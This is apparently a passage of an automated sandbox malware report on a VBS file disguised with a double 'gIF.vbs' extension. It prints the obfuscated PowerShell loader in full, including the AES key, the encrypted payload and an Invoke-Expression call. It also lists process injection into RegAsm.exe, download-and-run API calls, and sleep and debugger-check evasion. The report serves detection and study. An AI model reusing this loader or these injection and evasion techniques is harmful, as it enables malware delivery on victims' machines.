'+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

4_2_0041CB50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFAACCC5D9D push ebx; iretd	2_2_00007FFAACCC5DAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFAACCC9DD8 push E85ADCF4h; ret	2_2_00007FFAACCC9DF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFAACCC9CAD push E85ADCF4h; ret	2_2_00007FFAACCC9DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00457106 push ecx; ret	4_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045B11A push esp; ret	4_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0045E54D push esi; ret	4_2_0045E556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00457A28 push eax; ret	4_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434E56 push ecx; ret	4_2_00434E69

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00406EB0 ShellExecuteW,URLDownloadToFileW,

4_2_00406EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

4_2_0041AA4A

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: gif.vbs

Static PE information: createactiveimagesbeautygirlfrnd.gIF.vbs

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

4_2_0041CB50

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040F7A7 Sleep,ExitProcess,

4_2_0040F7A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

4_2_0041A748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5942	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 6883	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 3110	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6720	Thread sleep count: 6883 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6720	Thread sleep time: -20649000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6720	Thread sleep count: 3110 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6720	Thread sleep time: -9330000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	4_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	4_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044E879 FindFirstFileExA,	4_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	4_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040783C FindFirstFileW,FindNextFileW,	4_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	4_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	4_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

4_2_00407C97

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000002.00000002.1364248162.000002463B8F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: RegAsm.exe, 00000004.00000002.2488829216.00000000012A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_4-48857

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell decode and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_004349F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

4_2_0041CB50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004432B5 mov eax, dword ptr fs:[00000030h]

4_2_004432B5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00412077 GetProcessHeap,HeapFree,

4_2_00412077

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434B47 SetUnhandledExceptionFilter,	4_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00434FDC

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: amsi64_3092.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_3092.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
